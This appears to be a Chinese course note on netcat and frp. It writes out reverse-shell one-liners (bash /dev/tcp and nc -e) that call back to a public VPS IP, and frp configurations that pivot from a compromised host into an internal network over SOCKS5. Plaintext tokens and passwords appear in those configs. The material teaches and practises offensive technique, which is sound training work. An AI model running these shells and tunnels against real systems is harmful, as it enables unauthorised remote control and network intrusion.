0x01 netcat&frp
文章目录
一、netcat
1、netcat介绍
netcat 简称 nc,安全界叫它瑞士军刀。ncat 也会顺便介绍,弥补了 nc 的不足,被叫做 21 世纪的瑞士军刀。nc 的基本功能如下:
- telnet / 获取系统 banner 信息
- 传输文本信息
- 传输文件和目录
- 加密传输文件
- 端口扫描
- 远程控制 / 正方向 shell
- 流媒体服务器
- 远程克隆硬盘
2、netcat常用参数
- -l: 开启监听
- -p:指定端口
- -t: 以telnet形式应答
- -e:程序重定向
- -n:以数字形式表示ip
- -v:显示执行命令过程
- -z : 不进行交互,直接显示结果
- -u :使用UDP协议传输
- -w : 设置超时时间
3、上课思路笔记
本次要讲解的是netcat的连接shell功能
正向shell:控制端主动发起连接去连接被控制端
反向shell:被控制端主动连接控制端在实战中,大多数采用反向shell,因为正向shell有很多因素导致连接失败,
比如说硬件设备有防火墙,入侵防御系统等,还有网站防火墙,端口占用,权限不足等场景,特别是硬件设备如果你正向连接被防火墙拦截导致打草惊蛇,后期攻击相当繁琐。
反向shell:而被控制端主动向外发送的数据包通常都不会被拦截。
1>反向shell
1)要反弹shell的系统为Linux
步骤
nc -lvvp 55555 #vps监听 (杭州vps公网ip :47.96.190.113 )
-l 监听
-v 显示更多信息 (两个v会更好一点)
-p 端口
没有nc命令的话就在vps上输入 yum -y install nc 先下载一下
#bash
/bin/bash -i >& /dev/tcp/xx.xx.xx.xx/1234 0>&1 #被控端反弹shell
注:tools上的payload有关于反弹shell的相关指令,有些Linux不支持bash,而是用sh,那就把/bin/bash改成/bin/sh即可
xx.xx.xx.xx/1234 : 要反弹shell到哪个vps的ip地址和端口,之前在杭州vps监听55555端口,那就这么写
/bin/bash -i >& /dev/tcp/47.96.190.113/55555 0>&1
又或者这么写
nc 47.96.190.113 55555 -e /bin/bash
没有nc命令的话一样得先yum -y install nc
成功将被攻陷的Linux服务器的shell反弹到自己的vps服务器的shell上
2)要反弹shell的系统为Windows
在Windows上就无法直接进行一个反弹shell了,只能在被攻陷的Windows服务器上上传一个nc进去,然后nc之间互相进行一个反弹
windows的nc下载地址 :https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
在终端输入指令 :
#先创建一个文件夹存放下载的压缩包
mkdir netcat
#进入该文件夹
cd netcat
#下载压缩包
curl -o "netcat-win32-1.12.zip" "https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip"
#在当前文件夹解压该压缩包
tar -zxvf netcat-win32-1.12.zip
#显示nc相关参数
nc64.exe -h
步骤
nc -lvvp 55555 #vps监听
(是Windows的vps的话下载完nc后的命令就是把nc改成nc64.exe,其他没变)
nc64.exe 192.168.0.190 55555 -e cmd.exe #反弹shell
192.168.0.190 55555 : 要反弹到服务端的地址和端口
这里在本地之间进行一个反弹shell的操作
开两个cmd,其中一个做服务端进行监听,另一个做客户端来反弹自身的shell到服务端
服务端
nc64.exe -lvvp 55555
客户端
nc64.exe 127.0.0.1 55555 -e cmd.exe
可以在服务端看到客户端的shell成功被反弹过来
二、frp隧道
1、frp下载
https://github.com/fatedier/frp/releases
2、frp简介
- frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。
- 可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
3、frp部署
- 解压缩下载的压缩包,将其中的 frpc 拷贝到内网服务所在的机器上,
- 将 frps 拷贝到具有公网 IP 的机器上,放置在任意目录。
4、frp优点
通过在具有公网 IP 的节点上部署 frp 服务端,可以轻松地将内网服务穿透到公网,同时提供诸多专业的功能特性,这包括:
- 客户端服务端通信支持 TCP、KCP 以及 Websocket 等多种协议。
- 采用 TCP 连接流式复用,在单个连接间承载更多请求,节省连接建立时间。
- 代理组间的负载均衡。
- 端口复用,多个服务通过同一个服务端端口暴露。
- 多个原生支持的客户端插件(静态文件查看,HTTP、SOCK5 代理等),便于独立使用 frp 客户端完成某些工作。
- 高度扩展性的服务端插件系统,方便结合自身需求进行功能扩展。
- 服务端和客户端 UI 页面。
5、frp原理
-
frp 主要由 客户端(frpc) 和 服务端(frps) 组成
-
服务端通常部署在具有公网 IP 的机器上
-
客户端通常部署在需要穿透的内网服务所在的机器上
内网服务由于没有公网 IP,不能被非局域网内的其他用户访问
用户通过访问服务端的 frps,由 frp 负责根据请求的端口或其他信息将请求路由到对应的内网机器,从而实现通信
6、frp作业
1、将端口的流量转发出去
将本地端口流量转发出去,此处以将客户端本地的23333端口dvwa转发出去到服务端23331端口为例
前提:服务端和客户端要能相互ping得通,也就是能互相访问才行
- 服务端kali-Linux配置【ip:192.168.23.130】
frps.ini文件
[common]
bind_port = 7000 #服务端监听的端口
输入命令 ./frps -c frps.ini
- 客户端Windows10配置【ip:192.168.23.129】
frpc.ini文件
[common] #这个名字不变
server_addr = 192.168.23.130 #服务端地址
server_port = 7000 #服务端监听的端口
[http_23333] #名字任取
type = tcp #协议类型
local_ip = 192.168.23.129 #要转发的本地ip地址(这里也可以直接写127.0.0.1)
local_port = 23333 #要转发的本地端口
remote_port = 23331 #要转发到的服务端的端口
#注:可以同时将多个端口转发,就譬如我再写一个
#[http_23334]
#type = tcp
#local_ip = 192.168.23.129
#local_port = 23334
#remote_port = 23332
#这样也同时把客户端本地的23334端口也转发出去到服务端的23332端口,也就是说不止可以写一个,但是转发到服务端的端口不能冲突
输入命令 frpc.exe -c frpc.ini
在kali-Linux上进行访问
http://127.0.0.1:23331/login.php
因为转发到本地的端口了嘛
这个就相当于
http://192.168.23.130:23331/login.php
【在服务端访问127.0.0.1,也就是本地ip地址,将192.168.23.129:23333端口的流量转到服务端192.168.23.130的23331端口】
2、全局socks5(流量全部转发)
- 黑客PC端(个人主机)
Windows11【ip:192.168.0.190】
用户名和密码就是在攻陷主机配置的socks5连接账号和密码
让小狐狸挂上代理,也就是在浏览器上进行操作的流量都走这个代理
- vps云服务器
杭州vps【ip:47.96.190.113】
[common]
bind_port = 23340
#服务端监听的端口
token = Wangyi1873065120*
#授权码
#dashboard_port = 23339
#管理端口
#dashboard_user = admin
#登录管理端口的账号
#dashboard_pwd = password
#登录管理端口的密码
- 攻陷主机(内网主机)
Windows10【ip:192.168.23.129】
[common]
server_addr = 47.96.190.113 #服务端地址
server_port = 23340 #服务端监听的端口
token = Wangyi1873065120* #客户端和服务端的token值要保持一致
#[http_23333]
#type = tcp
#local_ip = 127.0.0.1
#local_port = 23333
#remote_port = 23331
[socks5]
type = tcp
plugin = socks5 #使用模块socks5
remote_port = 55555 #socks5端口
plugin_user = wangyi #socks5连接账号
plugin_passwd = Aa@123456* #socks5连接密码
use_encryption = true #加密
use_compression = true #加密
#注意:socks5有个弊端就是icmp协议是走不了我们这个socks的,那就只能用我注释掉的那个点对点的方式来传输了,还有就是没有设置socks5连接账号和密码和token的话就很容易被钓鱼,因此保险起见还是得需要设置一下账号密码和token
试着在攻击端访问一下内网
成功!
云服务器上也会弹出许多日志信息
那如果要做到全局代理要怎么办呢?现在我们只能在浏览器上代理,然后把流量转过去
这时候我们就需要用到Proxifier这个工具
步骤就是
配置文件->代理服务器->添加
用户名就是之前在攻陷主机配置的socks连接的账号密码,怕忘记再贴过来回忆回忆
[socks5]
type = tcp
plugin = socks5 #使用模块socks5
remote_port = 55555 #socks5端口
plugin_user = wangyi #socks5连接账号
plugin_passwd = Aa@123456* #socks5连接密码
use_encryption = true #加密
use_compression = true #加密
对应着填上去配置就行,然后点击检查
代理是没有问题的
然后设置一下代理规则,也就是在配置文件那里
如果我们要设置全局代理的话就把Default改成我们刚才配置的代理,然后点击确定
这时候我们的所有流量都会被代理过去,尝试访问一下百度试试
可以发现多了很多的日志信息,说明了代理成功,不过网速有可能会很慢,因为socks的一个代理速度取决于公网服务器vps的带宽速度,如果想要更快响应的话就需要提升vps的带宽
然后之前云服务器不是有提到一个管理端口,这里也给贴过来回忆一下
[common]
bind_port = 23340
#服务端监听的端口
token = Wangyi1873065120*
#授权码
dashboard_port = 23339
#管理端口
dashboard_user = admin
#登录管理端口的账号
dashboard_pwd = password
#登录管理端口的密码
我们把23339设置成了管理端口,我们尝试登录一下
输入账号admin,密码password成功登录
(登录界面是长这个样的,不过我忘记截图了,就把上课时候的画面截了出来,凑合着看)
这个是我自己的
这就是frp的后台管理系统